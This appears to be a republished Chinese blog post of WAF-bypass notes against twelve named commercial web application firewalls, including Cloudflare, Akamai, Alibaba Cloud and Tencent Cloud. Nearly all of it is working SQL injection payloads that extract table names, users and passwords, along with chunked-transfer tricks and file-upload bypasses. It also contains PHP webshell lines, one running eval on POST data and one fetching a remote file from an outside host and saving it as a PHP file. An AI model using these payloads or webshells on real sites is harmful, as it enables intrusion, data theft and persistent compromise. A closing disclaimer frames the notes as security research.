文章总结: 作者整理2021年前后对安全狗、D盾、阿里云、宝塔、百度云、Cloudflare、奇安信、长亭、创宇盾、上海云盾、Akamai及腾讯云共12款WAF的SQL注入与文件上传绕过测试笔记,总结假注释、控制字符、脏数据、分块传输、双文件上传等通用弱点并附payload,声明多数技巧现已失效,仅供思路参考。
综合评分: 60
文章分类: 渗透测试,WEB安全,安全工具,实战经验,漏洞分析
5年前的waf绕过笔记
原创
珂字辈
珂字辈
珂技知识分享
2026年9月17日 11:02
湖北
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
那时候只测了SQL注入和文件上传的,现在应该大部分都失效了,只提供思路参考。
一、 安全狗
safedogIISV4.0.exe(2021.9.22)
1、弱点
弱点一,不检测注释内容,且对%0A判断不敏感,可产生假注释。
弱点二,%00%01%02等被当作非空白符,可用于mssql和oracle注入
2、sql注入(完全突破)
完全突破防御
a=/*&id=1+and/**/(extractvalue/*asdfdsf*/(1,concat(0x7e,(select+current_user),0x7e)))id=-1+union+--+/*%0Aselect/**/1,group_concat(table_name)+from+`information_schema`.tables+where+table_schema=database(%0A)
2、文件上传(完全突破)
完全突破防御
filename=1.php[%00]
二、 D盾
d_safe_2.1.6.1_0705.zip(2021.9.23)
1、弱点
弱点一,对POST检测力度相比GET弱很多
弱点二,对XSS检测会影响其对SQL注入的检测
2、sql注入(POST完全突破)
GET,几乎无法加入select
id=1+%26%26+ord(right(user(),1))=116id=[72A]'+%26%26+ord(right(user(),1))='116id=1%23%26gt%3b%0aor+(extractvalue(1,concat(0x7e,(user()),0x7e)))
POST,完全突破防御
id=-1%23%26gt%3b%0aunion+select+1,group_concat(table_name)+from+information_schema.tables++where+table_schema+like+database()
3、文件上传(几乎完全突破)
filename="qwe\".php
三、 阿里云waf
https://edu.aliyun.com/(2021.9.24)
1、弱点
弱点一,%00%04%05等被当作非空白符,可用于mssql和oracle注入
弱点二,对脏数据没有抵抗
2、sql注入(POST完全突破)
GET,很难绕过
id=1%26%26+hex(1)=1
POST,完全突破防御
1+union/*[4100A]*/select+group_concat(table_name),2,3/*[150A]*/from information_schema.tables where table_schema=database()
其他文章看到的思路
'=position(BINARY+'eξAξ'+in+current_user)='1
3、文件上传(完全突破)
完全突破防御
filename="1.php"; filename ="1.txt"filename="[150A].php"
四、 宝塔Nginx防火墙
Linux企业版 (2021.9.26)
1、弱点
弱点一,windows企业版宝塔三种防火墙防护力度都较小,而linux企业版宝塔,Nginx防火墙>apache防火墙> Nginx免费防火墙 5.7
弱点二,除了linux企业版Nginx防火墙,其他对分块传输不检测
2、sql注入(无敌)
Nginx免费防火墙 5.7,无法注出有效数据
id=1+and+(extractvalue(1,concat(0x7e,(select+user()),0x7e)))
分块传输可完全突破防御
apache防火墙,完全突破防御
1+%26%26+(select+1+from+(select+count(*),concat((select+table_name+from+information_schema.tables+where+table_schema+like+database()+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
分块传输可完全突破防御
Nginx防火墙
无敌
五、 百度云waf
http://su.baidu.com/(2021.9.26)
1、弱点
弱点一,%00%01%02等被当作非空白符,可用于mssql和oracle注入
弱点二,对脏数据没有抵抗
2、sql注入(完全突破)
完全突破防御
id=1 union/*2100A*/select+1,2+group_concat(table_name),2,3 from information_schema.tables where table_schema=database()id=1+union+all(select+table_name,1%2blength(1)from+information_schema.tables+where+table_schema=database()+limit+0,1)
3、文件上传(仅检测内容)
仅检测内容,不检测后缀
<?php=phpinfo();
六、 Cloudflare
http://www.cloudflare.com (2021.9.26)
1、弱点
弱点一,不检测注释内容,且对%0A判断不敏感,可产生假注释。
弱点二,%00%01%02等被当作非空白符,可用于mssql和oracle注入
2、sql注入(完全突破)
完全突破防御
id=1+--+/*%0Aunion+select/**/1,group_concat(table_name)from+information_schema.tables+where+table_schema=database()
3、文件上传(仅检测内容)
仅检测文件内容
[130[%00]]<?php @eval($_POST[1]);?>
七、 奇安信云防护
https://yunsuo.qianxin.com/(2021.9.26)
1、弱点
弱点一,对POST检测力度相比GET弱一些
弱点二,对脏数据没有抵抗
2、sql注入(完全突破)
GET,完全突破防御
id=1+%26%26+updatexml/*sdf*/(1,concat/*sdf*/(0x7e,(user(%0A)),0x7e),1)id=0e1union+select+table_name,\Nfrom+information_schema.tables+where+table_schema=database(%0A)+limit+0,1
POST,完全突破防御
id=1'union/*[29A]*/select+table_name,\Nfrom+information_schema.tables+where+table_schema=database(%0A)+limit+0,1id=-1+union/*AAAAAAAAAAAAAAAAAAAAAAAAAAAAA*/select/*%50%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00*/1,table_name+from/*%50%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00*/information_schema.tables+where+table_schema=database(%0A)+limit+0,1
3、文件上传(完全突破)
完全突破防御
filename=1.php
八、 长亭SafeLine
https://www.chaitin.cn(2021.9.26)
1、弱点
弱点一,%00被当作非空白符,可用于oracle注入
PS:后来的开源版无敌
2、sql注入(无法注出有效数据)
1+%26%26+extractvalue(1,concat(0x7e,(user()),0x7e))
3、文件上传(仅检测内容)
<?=phpinfo();
九、 创宇云盾
http://sso.yunaq.com/(2021.9.27)
某企业版 (2022.7.27)
1、弱点
弱点一,对POST检测力度相比GET弱很多
弱点二,%A0%01%02%03等被识别为非空白符,可用于mssql和mysql注入
2、sql注入(完全突破)
id=1+union%0Aall(select!1,table_name,\Nfrom+`information_schema`.tables+where(table_schema='mysql')limit+0,1)
3、文件上传(完全突破)
双文件
......Content-Disposition: form-data; name="file"; filename=1.txt......Content-Disposition: form-data; name="file"; filename=1.php
某企业版几乎严格校验boundary,只能以中间件特性绕过
Content-Disposition: form-data; name="file"; filename*="UTF-8'file'1.jsp";filename="1.txt"Content-Type: txt
txt
十、 上海云盾
https://www.yundun.com/(2021.9.27)
1、弱点
弱点一,对于单独出现的select,拦截的不是那么准确
2、sql注入(完全突破)
id=1+%26%26+extractvalue(1,concat/**/(0x7e,(user()),0x7e))id=1+union%0Aall(select%23%0A\N,password+from+users+limit+0,1)id=(select+1)+union+all(select%23%0A\N,table_name+from/*%0A*/`information_schema`.tables+where+table_schema=database(%0A)+limit+0,1)
3、文件上传(完全突破)
Content-Disposition: form-data; name="uploaded"; filename="1 1.php
<?=system('id');
十一、 Akamai WAF
https://www.akamai.com(2021.9.28)
1、弱点
弱点一,对%0A判断不敏感,可产生假注释。
弱点二, %01%02%03等被识别为非空白符,可用于mssql注入
2、sql注入(完全突破)
id=%23%0A('a')union%23*/%0Aselect%23/*%0Atable_name,\Nfrom%23/*%0Ainformation_schema%23*/%0A.tables+where+table_schema='mysql'+limit+0,1
3、文件上传(不检测)
十二、 腾讯云WAF
http://demo1.qcloudwaf.com/sqlidemo/test.php?id=1(2021.11.3)
1、弱点
弱点一,对分块传输不敏感
2、sql注入(POST完全突破)
GET几乎无法突破,严格拦截select from
id=1+%26%26+1=1id=1%00order%00by%001
POST分块传输
POST /sqlidemo/test.php? HTTP/1.1Host: demo1.qcloudwaf.comContent-Type: application/x-www-form-urlencodedTransfer-Encoding: Chunked
6id=1+a6;nd+1=10
3、文件上传(完全突破)
Content-Disposition: form-data; name="file"; filename=1.php
<?phpcopy("http://2.2.2.2/2.txt","1.php");
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:珂技知识分享 珂字辈
珂字辈《5年前的waf绕过笔记》